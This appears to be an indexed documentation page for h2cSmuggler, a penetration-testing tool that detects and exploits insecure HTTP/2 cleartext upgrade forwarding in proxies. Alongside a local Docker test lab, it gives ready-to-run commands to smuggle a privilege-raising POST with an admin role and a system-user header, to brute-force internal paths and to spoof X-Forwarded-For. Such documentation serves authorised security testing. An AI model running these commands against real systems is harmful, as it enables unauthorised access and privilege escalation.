DOCSEARCHbyAlgolia
Submit Docs

h2cSmuggler

repository·master·Indexed 21 days ago

https://github.com/bishopfox/h2csmuggler

A tool by Bishop Fox designed to detect and exploit insecure HTTP/2 cleartext (h2c) proxy configurations. It enables users to bypass proxy rules and access controls by tunneling HTTP/2 traffic through edge servers that incorrectly forward h2c upgrade headers. Features include scanning for vulnerable endpoints, testing single proxy servers, brute-forcing internal endpoints via HTTP/2 multiplexing, and smuggling custom requests with specific verbs, data, and headers.

Tokens
1.6K
Snippets
6
Records
7
Agent score
24%

What's inside h2cSmuggler

  1. Set up the h2cSmuggler Test Environment

    master

    The project includes a docker-compose environment to simulate proxy chains (HAProxy, nginx, Nuster) leading to an h2c-enabled Golang backend.

    1. Generate certificates:
      ./configs/generate-certificates.sh
    2. Start the services:
      docker-compose up

    Simulated Ports:

    • 8000: HTTP h2c backend
    • 8001: HAProxy -> h2c backend (Insecure default)
    • 8002: nginx -> h2c backend (Insecure custom)
    • 8003: Nuster -> HAProxy -> h2c backend (Multiple layers)
    ./configs/generate-certificates.sh
docker-compose up

  2. Scan for vulnerable h2c endpoints

    master

    You can scan a list of URLs to identify proxy_pass endpoints susceptible to h2c smuggling. Use the --scan-list option with a file containing target URLs and specify the number of --threads to control concurrency.

    To capture results separately from errors, redirect stdout to a file and stderr to another:

    ./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt

  3. Test a single proxy server

    master

    To perform an individual test on a specific endpoint to confirm if it is vulnerable to h2c smuggling, use the -x (or --proxy) flag followed by the URL and the -t (or --test) flag.

    ./h2csmuggler.py -x https://www.example.com/api/ --test

  5. Exploit h2c smuggling to bypass access controls

    master

    Once an endpoint is identified, you can smuggle requests to access internal endpoints, provide custom verbs, or inject headers.

    Send a smuggled POST request

    Use -X for the verb, -d for data, and -H for headers:

    ./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions

    Brute-force internal endpoints

    Use the -i (or --wordlist) flag to provide a list of paths to brute-force using HTTP/2 multiplexing:

    ./h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/

    Spoof IP addresses

    Inject headers like X-Forwarded-For to bypass IP-based restrictions:

    ./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard

  6. Configure the h2cSmuggler test environment via Docker Compose

    master

    The docker-compose.yml file defines a multi-container test environment used to demonstrate h2c smuggling vulnerabilities. The environment consists of a backend service and several proxy/load balancer configurations (HAProxy, Nginx, and Nuster) that act as the front-end to the backend.

    When running this environment, the following ports are mapped to your host machine:

    • Backend: Port 8000 (maps to container port 80)
    • HAProxy: Port 8001 (maps to container port 443)
    • Nginx: Port 8002 (maps to container port 443)
    • Nuster: Port 8003 (maps to container port 443)

    Each proxy service requires specific configuration files and certificates located in the ./configs/ directory of the repository to function correctly.

    version: '3'
services:
    backend:
        build:
            context: .
            dockerfile: ./configs/Dockerfile-backend
        expose:
            - 8000
        ports:
            - "8000:80"
    haproxy:
        image: haproxy:latest
        expose:
            - 443
        ports:
            - "8001:443"
        volumes:
            - ./configs/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro
            - ./configs/haproxy.pem:/tmp/haproxy.pem
        links:
            - backend
    nginx:
        image: nginx:latest
        expose:
            - 443
        ports:
            - "8002:443"
        volumes:
            - ./configs/nginx.conf:/etc/nginx/conf.d/vhost.conf:ro
            - ./configs/key.pem:/tmp/key.pem
            - ./configs/cert.pem:/tmp/cert.pem
        links:
            - backend
    nuster:
        image: nuster/nuster:latest
        expose:
            - 80
            - 443
        ports:
            - "8003:443"
        volumes:
            - ./configs/nuster.cfg:/etc/nuster/nuster.cfg:ro
            - ./configs/haproxy.pem:/tmp/haproxy.pem
        links:
            - backend
            - haproxy

  7. h2cSmuggler CLI Reference

    master

    The h2csmuggler.py script uses a curl-like syntax.

    Positional Arguments:

    • url: The target URL to request.

    Optional Arguments:

    • -h, --help: Show help message.
    • --scan-list SCAN_LIST: List of URLs for scanning.
    • --threads THREADS: Number of threads (used with --scan-list).
    • --upgrade-only: Drop HTTP2-Settings from outgoing Connection header.
    • -x PROXY, --proxy PROXY: Proxy server to try to bypass.
    • -i WORDLIST, --wordlist WORDLIST: List of paths to brute-force.
    • -X REQUEST, --request REQUEST: Smuggled HTTP verb.
    • -d DATA, --data DATA: Smuggled request body data.
    • -H HEADER, --header HEADER: Smuggled request headers.
    • -m MAX_TIME, MAX_TIME: Socket timeout in seconds (default: 10).
    • -t, --test: Test a single proxy server.
    • -v, --verbose: Enable verbose output.